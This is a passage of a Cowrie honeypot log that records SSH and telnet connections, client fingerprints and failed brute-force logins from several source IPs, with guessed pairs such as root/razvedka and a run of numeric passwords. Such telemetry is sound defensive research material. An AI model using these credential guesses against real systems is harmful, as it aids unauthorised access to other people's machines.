openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T18:40:41.023041Z","src_ip":"103.98.149.87","session":"830591da3ac0","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"special","message":"login attempt [root/special] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T18:40:42.873117Z","src_ip":"103.98.149.87","session":"830591da3ac0","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"3.7","message":"Connection lost after 3.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T18:40:44.285067Z","src_ip":"103.98.149.87","session":"830591da3ac0","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"135.148.14.151","src_port":38736,"dst_ip":"159.203.135.109","dst_port":23,"session":"1e739c05e68a","protocol":"telnet","message":"New connection: 135.148.14.151:38736 (159.203.135.109:23) [session: 1e739c05e68a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T18:41:07.614694Z"}
{"eventid":"cowrie.session.closed","duration":0.004358530044555664,"message":"Connection lost after 0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T18:41:07.618945Z","src_ip":"135.148.14.151","session":"1e739c05e68a","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"128.78.143.196","src_port":35396,"dst_ip":"10.17.0.5","dst_port":22,"session":"a8700355f7f4","protocol":"ssh","message":"New connection: 128.78.143.196:35396 (10.17.0.5:22) [session: a8700355f7f4]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T18:41:09.592737Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T18:41:09.597574Z","src_ip":"128.78.143.196","session":"a8700355f7f4","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T18:41:09.694634Z","src_ip":"128.78.143.196","session":"a8700355f7f4","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"smile","message":"login attempt [root/smile] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T18:41:10.109284Z","src_ip":"128.78.143.196","session":"a8700355f7f4","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.6","message":"Connection lost after 1.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T18:41:11.208048Z","src_ip":"128.78.143.196","session":"a8700355f7f4","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"81.84.21.115","src_port":56124,"dst_ip":"10.17.0.5","dst_port":23,"session":"8ae060ae603f","protocol":"telnet","message":"New connection: 81.84.21.115:56124 (10.17.0.5:23) [session: 8ae060ae603f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T18:41:39.939656Z"}
{"eventid":"cowrie.session.connect","src_ip":"135.148.14.151","src_port":58436,"dst_ip":"159.203.135.109","dst_port":23,"session":"6bd7e6480a20","protocol":"telnet","message":"New connection: 135.148.14.151:58436 (159.203.135.109:23) [session: 6bd7e6480a20]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T18:42:07.817856Z"}
{"eventid":"cowrie.session.connect","src_ip":"135.148.14.151","src_port":56438,"dst_ip":"159.203.135.109","dst_port":23,"session":"81e8a9b44908","protocol":"telnet","message":"New connection: 135.148.14.151:56438 (159.203.135.109:23) [session: 81e8a9b44908]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T18:42:09.738704Z"}
{"eventid":"cowrie.session.connect","src_ip":"135.148.14.151","src_port":59858,"dst_ip":"159.203.135.109","dst_port":23,"session":"8489739f20c6","protocol":"telnet","message":"New connection: 135.148.14.151:59858 (159.203.135.109:23) [session: 8489739f20c6]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T18:42:09.846359Z"}
{"eventid":"cowrie.session.connect","src_ip":"38.93.206.2","src_port":10690,"dst_ip":"159.203.135.109","dst_port":22,"session":"2837f1121102","protocol":"ssh","message":"New connection: 38.93.206.2:10690 (159.203.135.109:22) [session: 2837f1121102]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T18:42:24.751015Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T18:42:24.756334Z","src_ip":"38.93.206.2","session":"2837f1121102","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T18:42:24.808283Z","src_ip":"38.93.206.2","session":"2837f1121102","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"razvedka","message":"login attempt [root/razvedka] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T18:42:24.969785Z","src_ip":"38.93.206.2","session":"2837f1121102","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.3","message":"Connection lost after 1.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T18:42:26.033288Z","src_ip":"38.93.206.2","session":"2837f1121102","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"135.148.14.151","src_port":37820,"dst_ip":"159.203.135.109","dst_port":23,"session":"cd01ba3b243b","protocol":"telnet","message":"New connection: 135.148.14.151:37820 (159.203.135.109:23) [session: cd01ba3b243b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T18:42:26.832326Z"}
{"eventid":"cowrie.session.closed","duration":30.003540515899658,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T18:42:37.821259Z","src_ip":"135.148.14.151","session":"6bd7e6480a20","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.03508758544922,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T18:42:39.773639Z","src_ip":"135.148.14.151","session":"81e8a9b44908","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":35.469605684280396,"message":"Connection lost after 35 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T18:42:45.315828Z","src_ip":"135.148.14.151","session":"8489739f20c6","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"128.78.143.196","src_port":36250,"dst_ip":"10.17.0.5","dst_port":22,"session":"0d5aba4cda10","protocol":"ssh","message":"New connection: 128.78.143.196:36250 (10.17.0.5:22) [session: 0d5aba4cda10]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T18:42:57.854558Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T18:42:57.865498Z","src_ip":"128.78.143.196","session":"0d5aba4cda10","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T18:42:58.051026Z","src_ip":"128.78.143.196","session":"0d5aba4cda10","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"frontend","password":"123","message":"login attempt [frontend/123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T18:42:59.128437Z","src_ip":"128.78.143.196","session":"0d5aba4cda10","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":32.30151343345642,"message":"Connection lost after 32 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T18:42:59.133715Z","src_ip":"135.148.14.151","session":"cd01ba3b243b","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":"2.5","message":"Connection lost after 2.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T18:43:00.411150Z","src_ip":"128.78.143.196","session":"0d5aba4cda10","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"62.133.62.83","src_port":39216,"dst_ip":"159.203.135.109","dst_port":22,"session":"323ac7f8913f","protocol":"ssh","message":"New connection: 62.133.62.83:39216 (159.203.135.109:22) [session: 323ac7f8913f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T18:43:03.691259Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T18:43:03.699390Z","src_ip":"62.133.62.83","session":"323ac7f8913f","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T18:43:03.772540Z","src_ip":"62.133.62.83","session":"323ac7f8913f","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"nonstop","message":"login attempt [root/nonstop] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T18:43:04.085095Z","src_ip":"62.133.62.83","session":"323ac7f8913f","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T18:43:05.168931Z","src_ip":"62.133.62.83","session":"323ac7f8913f","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"135.148.14.151","src_port":56928,"dst_ip":"159.203.135.109","dst_port":23,"session":"ff6543daf8d1","protocol":"telnet","message":"New connection: 135.148.14.151:56928 (159.203.135.109:23) [session: ff6543daf8d1]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T18:43:05.272339Z"}
{"eventid":"cowrie.session.connect","src_ip":"135.148.14.151","src_port":37238,"dst_ip":"159.203.135.109","dst_port":23,"session":"571e725d852e","protocol":"telnet","message":"New connection: 135.148.14.151:37238 (159.203.135.109:23) [session: 571e725d852e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T18:43:24.395964Z"}
{"eventid":"cowrie.session.connect","src_ip":"135.148.14.151","src_port":38542,"dst_ip":"159.203.135.109","dst_port":23,"session":"f869ca4e0a2c","protocol":"telnet","message":"New connection: 135.148.14.151:38542 (159.203.135.109:23) [session: f869ca4e0a2c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T18:43:29.066341Z"}
{"eventid":"cowrie.session.connect","src_ip":"135.148.14.151","src_port":44228,"dst_ip":"159.203.135.109","dst_port":23,"session":"00b789452516","protocol":"telnet","message":"New connection: 135.148.14.151:44228 (159.203.135.109:23) [session: 00b789452516]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T18:43:39.044623Z"}
{"eventid":"cowrie.session.closed","duration":120.00205326080322,"message":"Connection lost after 120 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T18:43:39.941479Z","src_ip":"81.84.21.115","session":"8ae060ae603f","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"81.84.21.115","src_port":35836,"dst_ip":"10.17.0.5","dst_port":23,"session":"275921544e1f","protocol":"telnet","message":"New connection: 81.84.21.115:35836 (10.17.0.5:23) [session: 275921544e1f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T18:43:40.313770Z"}
{"eventid":"cowrie.session.connect","src_ip":"2.57.121.25","src_port":6497,"dst_ip":"10.17.0.5","dst_port":22,"session":"92bc841ca9b7","protocol":"ssh","message":"New connection: 2.57.121.25:6497 (10.17.0.5:22) [session: 92bc841ca9b7]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T18:43:41.710913Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-PuTTY_Release_0.83","message":"Remote SSH version: SSH-2.0-PuTTY_Release_0.83","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T18:43:41.733021Z","src_ip":"2.57.121.25","session":"92bc841ca9b7","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"57446c12547a668110aa237e5965e374","hasshAlgorithms":"ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,curve25519-sha256,curve25519-sha256@libssh.org,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1;aes128-ctr,aes192-ctr,aes256-ctr,aes256-cbc,rijndael-cbc@lysator.liu.se,aes192-cbc,aes128-cbc,blowfish-cbc,arcfour128,arcfour,cast128-cbc,3des-cbc;hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96,hmac-md5,hmac-md5-96,hmac-ripemd160,hmac-ripemd160@openssh.com;none","kexAlgs":["ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","curve25519-sha256","curve25519-sha256@libssh.org","diffie-hellman-group-exchange-sha256","diffie-hellman-group-exchange-sha1","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1"],"keyAlgs":["ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ssh-ed25519","ssh-rsa","ssh-dss"],"encCS":["aes128-ctr","aes192-ctr","aes256-ctr","aes256-cbc","rijndael-cbc@lysator.liu.se","aes192-cbc","aes128-cbc","blowfish-cbc","arcfour128","arcfour","cast128-cbc","3des-cbc"],"macCS":["hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96","hmac-md5","hmac-md5-96","hmac-ripemd160","hmac-ripemd160@openssh.com"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 57446c12547a668110aa237e5965e374","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T18:43:41.836963Z","src_ip":"2.57.121.25","session":"92bc841ca9b7","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"user","password":"110589","message":"login attempt [user/110589] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T18:43:42.326179Z","src_ip":"2.57.121.25","session":"92bc841ca9b7","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":37.242836713790894,"message":"Connection lost after 37 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T18:43:42.515068Z","src_ip":"135.148.14.151","session":"ff6543daf8d1","protocol":"telnet"}
{"eventid":"cowrie.login.failed","username":"user","password":"110495","message":"login attempt [user/110495] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T18:43:43.433713Z","src_ip":"2.57.121.25","session":"92bc841ca9b7","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"user","password":"110284","message":"login attempt [user/110284] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T18:43:44.542634Z","src_ip":"2.57.121.25","session":"92bc841ca9b7","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"user","password":"1069","message":"login attempt [user/1069] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T18:43:45.650033Z","src_ip":"2.57.121.25","session":"92bc841ca9b7","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"user","password":"101287","message":"login attempt [user/101287] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T18:43:46.757439Z","src_ip":"2.57.121.25","session":"92bc841ca9b7","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"6.1","message":"Connection lost after 6.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T18:43:47.864257Z","src_ip":"2.57.121.25","session":"92bc841ca9b7","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"193.37.70.224","src_port":42320,"dst_ip":"10.17.0.5","dst_port":22,"session":"0b4344f724e9","protocol":"ssh","message":"New connection: 193.37.70.224:42320 (10.17.0.5:22) [session: 0b4344f724e9]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T18:43:55.406858Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T18:43:55.412098Z","src_ip":"193.37.70.224","session":"0b4344f724e9","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T18:43:55.504054Z","src_ip":"193.37.70.224","session":"0b4344f724e9","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"15081990","message":"login attempt [root/15081990] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T18:43:55.777920Z","src_ip":"193.37.70.224","session":"0b4344f724e9","protocol":"ssh"}
